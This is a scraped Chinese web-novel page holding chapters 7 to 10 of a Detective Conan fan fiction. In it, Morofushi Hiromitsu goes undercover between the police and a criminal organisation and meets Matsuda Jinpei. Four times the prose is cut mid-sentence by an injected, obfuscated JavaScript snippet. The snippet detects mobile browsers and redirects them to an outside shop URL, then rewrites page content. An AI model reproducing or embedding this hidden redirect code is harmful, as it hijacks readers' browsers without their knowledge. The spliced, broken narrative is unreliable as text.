《诸伏警官想要自救》 7. 第 7 章 外守一的事情并没有引起太大的讨论,因诸伏景光的个人要求,他的身份被隐瞒了下来,新闻上也只出现了“某位警校生”这样的代称。 鬼冢教官同样没有在班上宣扬过这件事。 在同期其他人聊天时,偶尔提到这个话题,其他人好奇这个警校生会是谁的时候,诸伏景光的表情变都没变一下,还会适当附和那么一两句:“是啊,会是谁呢?” 诸伏景光和同期其他警校生的关系不算糟糕,是其他人碰见会和他点头致意、平时邀请也会问问他有没有空的、这种在教室之中聊天时也不会被人排挤忽视的普通同期关系。 他虽然没有特别交好的朋友,但是和每个人的关系都还算不错。 上野自然也在这些同期的范围里。 他们都是22岁的成年人了,如果没有特别的经历,是很难在警校半年的时间里拥有超过范围的默契和亲密度。 不过在这个对话过程中,上野时不时瞄向他的眼神,让诸伏景光不得不有些在意。只是对方那张写着“你怎么还不问我”这句话的脸,让诸伏景光唇角勾了勾,在放学前都没有找对方搭过话。 一直到晚餐时间,诸伏景光才在上野欲言又止的表情里,温和说道:“你看起来有话想和我说,上野君。” “啊?啊……额、”上野看起来更加犹豫了,在诸伏景光耐心的注视下,上野挠了挠自己的后脑勺,扫了眼周围其他人,确定他们都没有注意到这边后才试探地问道:“新闻上提到的警校生……是你吗?诸伏。” “新闻?”诸伏景光侧过头,稍稍回忆了一下,“哦,你是指今天早上的那份新闻?” “为什么会这么想呢?”那双眼尾上挑的蓝眼睛带着笑意,好像是一个无关之人对其他人大胆猜想的好奇,又像是疑惑对方是怎么猜到他身上的。 “直觉?”上野先回答了一句这个单词,然后才小声说道:“还有就是……昨天我不是邀请你一起去玩结果你说有事吗?我就想着……” 上野说着说着把自己给说迷糊了,他看起来也不知道为什么自己会有这个猜想。但是对上诸伏景光面色不变的温和笑容,他果断放弃了思考:“这个问题果然还是很奇怪吧?抱歉打扰你了诸伏!” 诸伏景光没有多说什么,只是提醒了一句:“再不吃的话,饭菜要冷掉了。” 这个话题就算这么略过了。 上野比他预想得要更敏锐一些。诸伏景光喝着手里的味增汤,漫不经心地想到。 虽然上野好像对自己的能力不太自信,目标也只是交番,可是他的成绩和平日训练的能力,在班上应该也算是中等靠前的,就算横向对比其他班级的成绩,也不会落后太多。 至少……目前就只有上野把那个新闻上的警校生和他对上号了。 诸伏景光放下手里的筷子放下,对着上野点点头,随后端着空盘子离开了食堂。 就像这一届没有什么顶撞鬼冢教官的刺头一样,除了外守一的事件外,接下去两个月诸伏景光都没有遇到什么特殊状况。 在他上一次警校毕业之前,他收到了公安的邀请,并且之后很快就投入了卧底训练之中。 这一次因为有组织的撮合,他只会比上次更轻易地搭上前往公安的航班。 不过根据他对加藤昭夫职位的推测,他可以把自己邀请进入公安,却没有办法直接控制他进入的部门吧? 那么,这一次他进入的部门,和上一次会有变化吗? 事实是—— 有。 这个变化甚至不是一点。 当加藤昭夫表情难看地告诉他,他的档案已经提前被警察厅拿走时,诸伏景光差点笑出声。 加藤昭夫是警视厅的公安。 而诸伏景光现在将要进入的,是警察厅的公安部门。 两者看似区别不大,实际上性质截然不同。警察厅的地位高于警视厅,是日本警察的顶点。 也就是说——哪怕加藤昭夫的资历比自己高,但是在进入警察厅公安部门后,加藤昭夫就绝不可能继续监视他。而组织在知道他进入警察厅后,只会要求他继续深入,而不是转移阵地。 因为在警察厅得到的信息,可远远比警视厅重要。 ——更重要的是,普通人、非职业组想要加入警察厅公安部门,是一件非常困难的事情。 他们需要经历的审查和考试都比非职业组更加复杂。 组织派出的人想要进入这个部门,那几乎是不可能的。 “诸伏君,按照你原本通过的考试级别,接下去你应该是会被安排进入警视厅,成为一名光荣的巡查部长。” 面前穿着西装的中年男人神色严肃,用一种公事公办的口吻说道。 他们两人坐在单独会面的会议室之中,诸伏景光同样认真地看着面前的男人。 “但是,因你在警察学校出色的表现和成绩,再加上独自一人处理事件的方式——在面对和自身息息相关的突发案件,你理智的判断和行为,让我们看到了你优秀的能力。” ——通过非常规的特殊途径,非职业组的人,是有极小概率的可能,被推荐进入了警察厅的。 “诸伏景光,你是否愿意加入警察厅公安部,保护这个国家?” …… 在毕业的这一天,诸伏景光仰头望着天空的方向,看着上面漂浮的云朵,不知道在想着些什么。 “诸伏!来拍照啊!”上野在另一群同学身边对他挥了挥手,他的手里拿着一个老式的相机,不知道是哪个同期带过来的。 他们都穿着属于警察的正式制服,在今天之后,他们都会前往自己被安排的辖区,前往不同的部门,去守护自己珍惜的存在。 不知道是否是周围氛围的关系,还是此刻环境给人带来的怀念,诸伏景光的目光落在那边的相机上,突然想起了上一次合照的时候,他周围的另外四个人。 当时某个家伙还在他想寄出去的照片上画上了胡茬——说实话,其实意外不错,也让他升起了转换形象的想法。 樱花树已经枯萎了,不同于刚刚入学的那会儿,樱花花瓣被风一吹就会落在他们的肩头,现在的樱花树只剩下了巨大的树干。 不过诸伏景光很清楚,属于他们的樱花,并不会因为时间的流逝而枯萎。 这一次,就只有他一个人啊。 诸伏景光眨了下眼睛,短暂的走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883090|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神并未引起任何人的注意,他对同期摇摇头,指了下教官的方向,就主动离开了这个位置。 上一次他加入的并非警察厅,而是警视厅,所以他对警察厅内部的情况并没有另一个友人清楚。 也因此,就算真的进入警察厅的公安部门,在他自己都不了解的情况下,他也不需要去担心会因为他的潜意识暴露什么不该暴露的信息这件事。 但最好还是不要太过深入。 诸伏景光并不想给组织提供太多公安的情报。 所以他也的确这么做了。 “诸伏君,我这里有一个任务要交给你,请你认真考虑之后回答我。” “一旦决定,你就没有后退的机会了。” 和过去相似的说辞出现在了自己的面前,就像是游戏进行到了抉择而无法后退的时候。 眼尾上扬的青年脸上没有笑容,过于锋锐明亮的色彩从他眼中流露而出。 无论再来多少次,他的答案也只有一个。 “——我愿意。” 他依旧会选择主动踏入黑暗之中。 为了他心目中的正义。 …… 之后的发展和诸伏景光记忆中的没有太大区别,他的真实身份被掩盖,公安为他提供了新的身份。 新的教官训练他的体术和射击、并且让他学习如何隐藏情绪、又如何获取信息。 诸伏景光并没有特意收敛自己学过一次的优势——在这些培养过太多卧底、甚至过去也亲自当过卧底的教官眼中,他的隐瞒一旦被揭露,反而会增添一些不必要的怀疑。 因此,看着原本想给他一个下马威的教官,却被他的“天赋”震惊住后,诸伏景光眨了下眼睛。 ……或许,他还是收敛一些比较好? 因着卧底训练的关系,加藤昭夫无法联系到他,明明是艰难枯燥的学习,但是没有外界打扰,诸伏景光反而放松了一些精力,在休息时间占据了教官的书架。 教官和老师自然不只是一个人,诸伏景光有见到熟悉的、也有过去从未见过的陌生面孔。 不过这些都不妨碍他在这个过程中继续接触新的知识。 “不是,你们怎么舍得把这小子送出去的?”其中一个资历极高的教官,对着公安部门的话事人皱眉:“他的能力如果留下来,按部就班肯定能爬上警视的位置,说不定还得几个功勋,继续往上!” “这不是这一届没什么好苗子吗……我也没想到他竟然会这么合适。”公安上层无奈说道。 而现在诸伏景光的资料都已经处理好了,档案也都准备好了,更不可能因为惜才就半路把人送回去。这样反而会是诸伏景光档案上的污点,影响对方的未来。 “而且,正因为他如此优秀,说不定会达到我们都难以想象的高度吧?”公安像是阐述一个既定的事实一样:“我很期待他的未来。” …… “所以,你的意思是。”加藤昭夫平静地开口:“你作为组织卧底进入公安之后,又被公安送到组织进行卧底了?” “是这样吗,诸伏君。” 诸伏景光露出微笑:“是这样。” 加藤昭夫眼前一黑。 8. 第 8 章 大概是警视厅和警察厅本质的不同,诸伏景光的卧底节奏和过去完全不一样。 当然——以他现在的身份,也不太可能和过去一样。 他先按照公安的要求,顺其自然地以公安制作的假身份过了几天,然后转头就通过自己的经验去试探了一下组织的人。 因为警校同期几乎没有几个眼熟的,所以诸伏景光也不奢求自己认识的组织底层成员也还是自己见过的那些人。 但是面对组织,和在警校之中学习,对现在的诸伏景光来说完全是两个感觉。 诸伏景光压着脑袋上的帽檐,又抬手摸了摸脸颊最近刚长出来的薄薄的一层胡须。 他诡异地比在警校的时候更加放松了。 不用担心因为某个同期或者某位教官的一字一句暴露信息,也不用面对盯着他的组织卧底。因为卧底的特殊性,他甚至可以在一定时间内不用联系公安。 也没有人会继续称呼他为诸伏,让他心头一跳,总觉得下一秒琴酒的枪就会顶在他的额前,嗤笑着喊出一声“老鼠”。 诸伏景光的拳头抵在唇前,因着周围没人关注他、也因为这些思想无论如何外放他都不会感到紧张,嘴角上扬起了一道浅浅的弧度。 “绿川?走了。”一个男人对着闷着头不知道在想什么的诸伏景光喊道。 诸伏景光立刻抬起眼,脸上的笑意收敛,点了下头:“好。” 组织的成员变动很快,但是那些他已经了解的基地和产业变化再大,也不会让他完全抓不到一点线索。 所以诸伏景光顺势加入了组织产业……的隔壁,在每天上下班的时候观察进出的人。 普通人和混黑的人身上的气质是截然不同的,初出茅庐的他或许还需要努力分辨和学习,但是在他现在有着丰富经验的情况下,基本上抬头看一眼就能差不多认出来普通客人和其他人的区别。 公安是大概知道组织的强大和危险的,所以没有谁奢望他在一开始就能混入其中,大家都做好了放长线钓鱼的准备,于是诸伏景光能做的东西就更多了。 谁会认为一个刚放出来两个月的新人卧底,能直接就获取一个已经存在了半世纪的危险组织的情报? 花了两个月时间,把目前最近的产业和基丨地、组织的底层成员、以及部分驻扎在东京的组织成员确认了一边的诸伏景光摸了摸下巴。刚长出不久的胡茬还有些扎人,手感很有趣。 他挑挑拣拣了一番,把最边角的部分情报交给了联络人。 有了这部分情报,接下去再过一两个月不联系对方也没有问题了。 “我认为我应该找对了方向,接下去我会继续尝试着接触一些人,所以在我联系你之前,请不要主动联系我。” 诸伏景光这么和公安联络人说了之后,转头找到组织的联络人——这个是他试探加藤后才确认的具体人员。 “组织需要我怎么做?是按照公安的要求按部就班做个样子,还是直接回到组织。” 组织的联络人欲言又止,不是,他就是个普通成员,哪有资格要求代号成员做什么啊?与其通过他去问组织的想法…… 组织联络人汗流浃背:“您可以直接联系那位大人的。” 诸伏景光:? 那位大人? 哪位。 诸伏景光没问出什么答案,但是猜到了自己的地位可能比自己预想得要高一些。 而且他在组织应该有可以直线联系的“上司”。大概就类似琴酒和伏特加,朗姆和波本等人的联系一样。 但这位可以直接联络他的“那位大人”似乎把他丢出去卧底之后,就把他忘在一边了。 别说在警校的时候,就是他卧底训练的那段时间,还有这两个月的底层工作,“那位大人”就和不存在一样,一点都没有主动和他说点任务的打算。 甚至在这之前,诸伏景光都没有意识到对方的存在。 好消息,他在组织有个顶头上司,他可以借用这位上司的身份拒绝部分任务。 坏消息,他不知道这位上司是谁。 总不能是琴酒吧。哈哈。 诸伏景光面无表情地想。 不可能是琴酒。不如说,如果是琴酒反而简单了。 琴酒不喜欢弯弯绕绕,也没有什么神秘主义。在知道他卧底回组织之后,只要任务需要就会直接联系他。 他的手机里没有什么多余的联系方式,脑子里也没有多出什么不存在的记忆,因此别人不主动联系他,他很难确定对方的身份。 就连加藤昭夫的存在,都是因为当时对方主动给他发了个条威胁短信…… 诸伏景光低下头,拿出手机给加藤昭夫发了个条邮件:【那位有联系你吗。】 加藤昭夫:【?】 诸伏景光:【和预期计划不同,那位是不是生气了?】 加藤昭夫:【。】 加藤昭夫那边沉默了五分钟,诸伏景光才得到回复的邮件。 【那位不可能对你生气。】 诸伏景光:。 诸伏景光脑袋上的问号更大了。 黑发蓝眼的青年默默把手机放进胸前的口袋,蓝色的眼眸重新倒映着超市蔬果区域的新鲜蔬菜。 “炖牛肉的话……再买一些土豆好了。”他这么做下了决定。 等拎着手里一袋的蔬菜肉类回到安全屋,诸伏景光动作娴熟地洗肉切菜,等开火之后,并不大的空间里顿时浮现出浓郁的食物香味。 诸伏景光并不是很着急,再如何着急、没有具体线索的情况下只会让人抓瞎茫然。 与其紧绷着过接下去的每一天,他必须要把握好独自一人的可休息时间。 至少精神不能24小时都处在紧绷状态。 他将炖牛肉分出两份,其中一份包装好放进冰箱,剩下的就装盘后放在了餐桌上。 “我开动了。”诸伏景光双手合十,说完这一句话之后,夹了一块已经炖煮着软糯的土豆放进嘴里。 “再多煮十分钟应该会更入味。”诸伏景光一边品尝着一边自言自语地按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883091|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照自己的口味,修改着在电视上学到的新菜谱。 按照zero的口味,或许可以再加点西芹?诸伏景光思考了一下,加一点提味应该是不错的选择。 如果是哥哥,他会更喜欢清淡一点,所以少放一点调料会更好……不过炖牛肉还是味道重些会更搭配米饭吧? 说起来下次可以复刻一下之前吃过的那个小菜,已经有很长一段时间没做过了。 卧底是相当特殊的工作,危险的同时,一般都是单线联系。 因此在“那位”大人和组织联络人都没有给自己新的指令的前提下,诸伏景光干脆就按照公安的要求顺其自然。 不过就算如此,诸伏景光还是比过去用了更短的时间,就接触到了组织近期的一个任务。 他并非是以代号成员的身份做任务,而是在事情结束之后,以后勤人员的身份清扫战场。 处理尸体,回收武器。诸伏景光从背包里拿出清洁剂,在尸体被处理掉之后,现场的血迹也需要处理。 诸伏景光习惯于用更稳妥的方式行动,大多数时候都是安安静静穿着戴帽子的外套,低着头用兜帽遮掩自己的面孔。当他降低自己的存在感时,几乎没什么人能立刻察觉到他的存在。 “啧。” 诸伏景光的动作一顿。 “不是说好这次让我先测试效果吗。炸丨弹都还没安,现场就先处理好了?”一道显得格外肆意的声音从不远处响起,带着几分浮于表面的不满。 “喂,那边那个,谁让你过来的。” 诸伏景光垂着眼,像是一具不会动的尸体。宽大的兜帽遮掩了他的眉眼,脸上的口罩更是把他此刻的神色完全挡住。 站在阴影之中的青年犹如无声的幽灵,在听到呼唤之后,也仅仅只是稍稍抬起头让兜帽的弧度摆动了一下。 “怎么不回话,你是哑巴吗。”那道声音的主人明显更不高兴了,他往着诸伏景光的方向踏步走来。 “还要我说几——等等?” 当两人的距离靠近之后,正在抱怨的男人声音突然诡异地停住。 诸伏景光依旧保持着垂着眼的姿态,低垂的视野中,最先浮现的是一双锃亮的黑色皮靴,黑色的裤脚因着男人停下的脚步而停止摆动。 然后一张突然放大的脸就代替了地面的浮尘,以一种从下往上的姿态倒映在了那双上挑的蓝色眼眸之中。 “啊——果然是你。” 弯下腰一直在说话的男人抬起手,也不在意自己现在有些奇怪的姿势,盯着那双辨识度极高的眼尾上挑的眼睛。 他的指尖压着墨镜边框的位置稍稍用力,便将那双原本被墨镜隔着的眼睛完全显露了出来。深色的眼睛在阴影的覆盖下近乎融为墨色,却又在抬眼间重新透出原本的青色调。 卷发落在他的额前,墨镜被他从脸上摘掉,在指尖随意摆动旋转,男人的语调透着一点漫不经心。 “你什么时候开始兼职干这个了?苏格兰。” 松田阵平对诸伏景光,这样问道。 9. 第 9 章 一秒。 两秒。 三秒。 卷发男人皱起了眉,他张开嘴正要说些什么打破这份诡异的寂静—— 那双仿佛逃避一般垂下的眼睛,像是捕捉到了他的动作一般慢慢抬起,眼尾带着上挑的弧度,天然透着几分无声的笑意。口罩模糊了他的声音,显得有些沉闷,却依旧是松田阵平并不陌生的声线。 然后他就听到面前的男人温和地开口:“我是被派来清扫现场的绿川景,请问您需要我做什么吗。松田大人?” 松田阵平突然打了个激灵,手里原本还在摆动的墨镜差点掉到地上。 卷发青年下意识站直身体后退了两步,但对方轻飘飘上扬的尾音还在他耳边环绕。 于是一声显得茫然地语气词从他喉间就这么溢了出来。 “啊?” “是需要我重复一遍吗?”诸伏景光弯着眼睛说道。 “不是,等等?”松田阵平反应了下,突然注意到刚刚对话中的关键词:“……绿川?” “是?” 卷发青年那张没有被墨镜遮挡的脸,没有任何遮掩和隐藏地浮现出了“你受什么刺激了”的奇怪神色。 他们认识。 当然——松田阵平怎么可能和诸伏景光不认识。 但是。 不该在这里。 松田阵平口中不该出现苏格兰这个代号。 在听到那声带着抱怨的咂舌声的时候,诸伏景光恍神了一瞬。 下一刻他就看到了那张完全没有伪装、因他而变换神色的熟悉的脸,看到了……本该在爆炸中消失的生命,再一次出现在他的面前。 生动而鲜活,带着这个年纪的年轻人特有的意气风发。 和他记忆里对方走向终路的四年前,几乎没有区别的脸。 是他记忆里,已经牺牲的友人。 愤怒吗。 悲伤吗。 痛苦吗。 诸伏景光口罩下的呼吸有些沉闷,但是说出口的话语依旧清晰。 他笑眯眯地开口:“现场已经清理完毕,您还有新的命令吗?” 松田阵平并不愚笨,不如说他已经是最为敏锐的那一类人了。他不应该察觉不到别人的谎言和试探。 可是他遇到的是诸伏景光。 他看得出那双眼中带起的笑意和并不陌生的调侃,自然就不会联想到别的可能。 口罩和兜帽遮掩了面前青年大半的面孔,却也让他在抬头的动作里,完全凸显出那双眼尾上扬的蓝眼睛。 松田阵平在短暂地愣神之后,就立刻从对方口中说出口的名字反应过来了答案——诸伏景光希望他误会的答案。 “啊……所以你消失两年是去做这种事了?”松田阵平的大脑过于灵活,顺着诸伏景光所暗示的方向联想了下去。 “但这又没其他人……”松田阵平奇怪地看了看周围。 用假名,却依旧认识他,没怎么隐藏,并且用过于浮夸的戏剧化方式称呼他为“大人”,直白表明自己是底层人员的身份,再加上对方消失两年没有动静。 那么很简单就可以分析出来了——这家伙不知道去哪卧底了,结果被对面的组织给丢回来了,导致不得不用伪装的身份,从新人重新做起。 至于明明周围没人、也不需要伪装,偏偏还要这么称呼他,松田阵平摸了摸刚才因为恶寒浮现出薄薄一层鸡皮疙瘩的胳膊,小声嘟囔了一句:“恶趣味。” 不过,这么一说——回想刚才诸伏景光说的话。 “在组织给你安排之前,你现在就只是绿川?”松田阵平眼睛一亮,毫不客气地命令道:“那你这两天就跟着我吧。” 这可是难得的使唤苏格兰的机会,他可不能错过! 而且按照现在对方还没有直接恢复苏格兰身份的情况,他这个行动还算是帮绿川景“混入”组织高层。 苏格兰还得谢谢他呢。 对上松田阵平明亮的眼睛,以及显得兴致勃勃的态度。 诸伏景光稍稍垂下眼,语气柔和地开口:“是。” 松田阵平的行动力很高,他说完后就打了个电话就把“绿川景”从底层人员抽调出来,安排给了自己当司机。 卷发的青年翘着二郎腿坐在车后座的位置,一边拿着手机不知道给谁发消息,一边报了个地址,使唤诸伏景光开车送他过去。 等目的地到达,全程不是低着头发消息、就是闭目养神的松田阵平才看向车内后视镜,通过镜子的倒影对上另一个人的蓝眼睛,散漫地开口道:“这两天我没什么任务,基本都会在这。” “刚好我懒得出门,你就帮我买……你是不是会做饭来着?要不你来给我做饭吧。”松田阵平灵光一闪,像是想起什么,突然截断了自己原本的话语,开口道。 “嗯?”诸伏景光坐在司机的位置,手指还搭在方向盘上。他的兜帽已经摘下,但是口罩依旧牢牢黏在他的脸上。 听到这声显得沉闷、却没什么情绪的音节,松田阵平不知为何莫名涌现出一股心虚,眼神闪烁了一下:“还不是那个混蛋总在我这炫耀你做饭多好……” 话还没说完,松田阵平就觉得不对劲了——他有什么好心虚的啊?他使唤绿川景有什么问题吗?没有啊! 一个底层人员而已。 至于苏格兰记不记仇……明明是他自己先这么玩的。 松田阵平立刻敲定了这个命令:“我要吃咖喱。” “……”诸伏景光轻声应下:“好。” “你现在的这个安全屋有厨房吗?冰箱里有什么食材吗。”诸伏景光顺势问了一句。 然后他对上了松田阵平的眼睛。 诸伏景光:“……” “好的,我会自备食材的。” 他笑眼弯弯地说道:“松田大人。” 松田阵平:“……” 松田阵平感觉自己身上的鸡皮疙瘩又起来了。 他突然觉得自己这个灵感一闪,或许不是什么好主意。 “你会下毒吗?”松田阵平问。 “如果您需要这项服务的话。”诸伏景光答。 第二天,松田阵平在肚子刚咕咕叫就听到了门铃声,吃完送上门的咖喱后,看着苏格兰自然而然回收餐具想去清洗的动作。 他觉得自己这个主意实在是再正确不过了。 苏格兰脾气很好,虽然他那个幼驯染性格相当麻烦,但是和苏格兰相处是真的很舒服。 说自己是绿川景,就真的以这个身份行动,不会多说什么,不会多问什么,所有的对话都恰好好处,松田阵平这两天的睡眠都比平时多了两小时。 对此,松田阵平相当遗憾:“你怎么不能真的就只是绿川呢?” 花了两天就从松田阵平口中和周围试探出了他的代号,自己的身份地位和大致的人际关系,非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883092|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有职业素养的诸伏景光回答道:“那我就不可能会在这里了。” 松田阵平想了想:“也是。” 松田阵平默认了诸伏景光是苏格兰,所以没有什么很强烈的的隐瞒组织情报的想法,在他眼中,这些都是苏格兰本身就知道的。 他同样是代号成员,但并非是行动组,而是研发组,是一个相当优秀的技术人员。 诸伏景光没什么意外。松田阵平虽然擅长拳击,体术相当厉害,性格强势,但是他更感兴趣地从来都是拆卸和拼装,他在这方面的天赋是最为顶尖的。 是警校还未毕业,就已经被技术部门看中,邀请进入爆丨炸物处理班的天才。 诸伏景光发现自己走神的频率比之前高了一些,他眨了下眼睛,将思绪收回。 松田阵平说着要使唤他,但实际上并没有真的要求过他要做什么,基本都是一些比较简单的小事,比如顺手去帮他买个什么零件。 除去第一次见面的意外情况,松田阵平身上几乎没什么组织成员的气场,只专注自己的爱好。会因为拼装完一个新的模型而高兴,也会因为…… 诸伏景光坐在司机的位置上,看向不远处往着他的方向走来的卷发青年,稍稍歪了下头。 最近的天气有点冷,松田阵平随意地搭了一件长款羽绒服,他面无表情,但远远就能叫人一眼看到他身上积压的愤怒和不愉快。 诸伏景光扫了眼松田阵平刚刚出来的位置,那里是组织的一个酒吧,专门给代号成员进行交流休息的场所……是在里面和谁发生了冲突吗? 松田阵平冷漠地坐了进来,紧闭的车窗和下一瞬就重重关上的车门完美呈现了这位技术人员的负面情绪。 诸伏景光假装自己没有听到什么恶狠狠的磨牙声。 这么用力的话,假牙会不会碎掉? 诸伏景光继续按照“绿川景”的身份设定,安安静静当着自己的司机,并未多嘴说些什么。 这段时间他能试探出信息,不过就是吃了敌明我暗的优势——不管是谁,都无法想象这具躯壳的内里切换了一个灵魂(又或者是别的什么)。 但是松田阵平是一个比谁都敏锐的人,短时间内还好,他会因为时间和关系生疏的原因而忽视一些细节,可是在当前的情况下再深入,试探到目前不该触碰的东西,只会让这段时间表现还算友善的松田阵平反扑。 从而让他察觉到过去并未意识到的违和感。 诸伏景光踩下了刹车,开口道:“到了。” 松田阵平并未立刻下车,而是隔着车内后视镜盯着他。 诸伏景光开了一路车,大概用时半小时。 但是松田阵平的情绪并没有因为时间流逝而缓解,反而向着另一个方向继续冲刺了。 这里有什么继续激发松田阵平情绪的东西吗? 诸伏景光对上后视镜那被墨镜这样的眼神,迟疑了一下。 ……这个催化剂,该不会是我吧。 “你不问我发生了什么吗。”松田阵平的声音很平静。 “那么,发生了什么?”诸伏景光顺势开口。 “呵。”一道嗤笑从卷发青年的喉间溢出,嘲讽意味强烈的话语脱口而出:“那你为什么不问问你那个阳奉阴违不择手段、仗着一张脸就只会骗人装神秘的朋友?情报组有他还真是好运啊。” 诸伏景光:“……” 诸伏景光:“…………” 10. 第 10 章 不是zero。 诸伏景光对上那双完全没有隐藏愤怒的锐利眼眸,脑海中下意识回忆起了过去在警校时,自家好友和眼前这位之间发生的不愉快和争执——当然,最后关系还是变得很要好了——眼神蓦得漂移了一瞬。 不会是zero。 金发深肤的友人身影从记忆中浮现,过去接受卧底后,他就已经做好了和友人几年不见的打算,却没想到后来在同一个组织之中碰面。 而在那时,自小的友人已经完全变换了个形象,轻浮的神秘笑容出现在那张本来严肃认真的脸上。 阳奉阴违、不择手段……仗着一张好脸装神秘。 诸伏景光知道自己现在要做什么,他应该用更温和的方式让现状缓和下来,至少让松田阵平不要继续把注意力放在他的身上。 他试探情报从不急于一时,苏格兰从来都是最耐心的猎手。 诸伏景光没有戴口罩,所以他的神色此刻完全没有任何遮挡的可能。 再如何愤怒的松田阵平,也从未丧失过理智。 诸伏景光需要开口,苏格兰不能再沉默了。 可脑海中的友人和此刻重叠,诸伏景光原本想好的安抚话语突然就消失了。 于是松田阵平透过车内后视镜,看到了那双上挑的眼眸在一瞬间似乎闪烁了一下,然后,他用一种带着笑的平和口吻,仿佛在提起一个毫不相关的人。 他开口说道:“朋友?” 那双眼尾上扬的蓝色眼眸稍稍眯起,勾勒出弯曲的弧度。 “什么朋友?” 绿川景这样说道。 松田阵平:“……” 松田阵平:“…………” 卷发的青年原本翘着的腿不知何时已经放下了,墨镜随意地卡在胸丨前的领口处。不知道是不是静电的关系,他本来就蓬松的卷发在车内这个狭小的空间里,变得更加干燥柔软、四处乱翘着。 松田阵平突然就不气了,他挑了挑眉:“你们吵架了?” 他根据自己对双方的好感判定,问道:“他做了什么?” 诸伏景光只是笑,笑意却不达眼底。 松田阵平这下真的来兴趣了:“这就是你去卧底的原因?” “继续问,就是另外的价格了。”诸伏景光温和地说道。 松田阵平摆了摆手,他对这些细节也的确没有什么太大的兴趣。 不过他的情绪的确比上车那会儿变好了不少,原本的郁气消散,甚至看起来有些愉快。 “也怪不得他会来缠着我,哈啊,下次我可得好好嘲笑他了。”松田阵平这么说道,下车之后就很快从诸伏景光的视野之中消失了。 诸伏景光在原地停了几秒,就往着自己的安全屋开去。 他一路平稳地开着车,到达目的地,把车停好,拿出钥匙,打开安全屋的门。 诸伏景光余光扫了眼安全屋,确定没有被人入侵之后,脸上的表情突然消散了,原本显得柔和的五官变得冷淡起来。 他下了一步险棋。 但并不致命、也不算特别危险。 松田的视角是他“消失”了两年,但是从他——从他这个身份进入警校的半年算起,加上卧底培训的半年,以及接下去他进入组织的行动,过去了一年零四个月。 不算过去他还未探查出的信息,就从他接手这具身体后的时间算起,十个月的时间,除了最开始加藤昭夫的主动联系,他和组织是断线的。 而松田口中,他的朋友是情报组。既然如此……对方不知道他回到组织的可能性有多大? 他的组织上线——加藤昭夫口中的那位大人,是否……和松田阵平口中的这位朋友有关? 诸伏景光不知道,但是既然至少有十个月未曾联系,那么他假装闹下脾气,也没什么问题吧? 而且苏格兰的朋友,和绿川景有什么关系? 就和那天的“松田大人”这种对对方来说略显浮夸的称呼一样,只是苏格兰的恶趣味而已。 诸伏景光闭上眼睛缓了两秒,长长呼出一口气,微微加快的心跳才平复下来。 ——当松田阵平提起“朋友”的时候,诸伏景光的情绪变化,和六年前在组织碰见zero几乎没什么区别。 那种心脏一瞬间停滞的沉闷感,以及随后立刻涌上来的无法克制的慌乱,最后又被强行压制,保持回到狙丨击手该配备的呼吸心跳的节奏。 松田阵平不是喜欢迁怒的人,前一天不过是恰好诸伏景光撞在了枪口上,让松田阵平不得不把注意偏移到他身上。 所以第二天,松田阵平就忘记了前一天的意外,让诸伏景光开车送他去了组织的一个有丰富武器储备的基地。 “你习惯用什么?”松田阵平漫不经心地打了个卡,无视周围人的目光,直接带着诸伏景光来到了一个配备了各种武器的房间。 诸伏景光站在门口没有立刻进去。 松田阵平一顿,低头看了眼地面上散乱着的枪械炸丨弹的零件,落脚点的确不太方便。不过就在松田阵平想开口说些什么的时候,诸伏景光轻松地踩在那些空隙的位置,没有触碰到哪怕再小的零件,无声无息地走了进来。 松田阵平原本想说的话被咽了回去,耸了下肩。 “你挑几个你喜欢的,随便拿。”松田阵平大方地开放了自己的武器库。 “可以吗?” “这里都是我的个人藏品,不需要另外和组织申请。” 注意到随后诸伏景光的目光在狙丨击丨枪的位置划过,松田阵平有点意外:“你学狙丨击了?” 所以“我”以前不会狙丨击?诸伏景光若有所思地想着,并未将这个想法说出口。 等诸伏景光选好之后,松田阵平才开口:“虽然不知道你现在到底怎么回事,但你应该是要回行动组的吧?” “嗯。”诸伏景光应声。 “刚好,你留我这除了打杂也帮不上什么忙。”作为武器改装研发的好手,松田阵平毫不客气地说道:“但泰斯卡最近需要人帮忙,你刚好能去他那干点事。” 这下诸伏景光是真的有点惊讶了,他看向面前的卷发青年:“谢谢,我欠你一个人情。” 不管是为了演给公安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 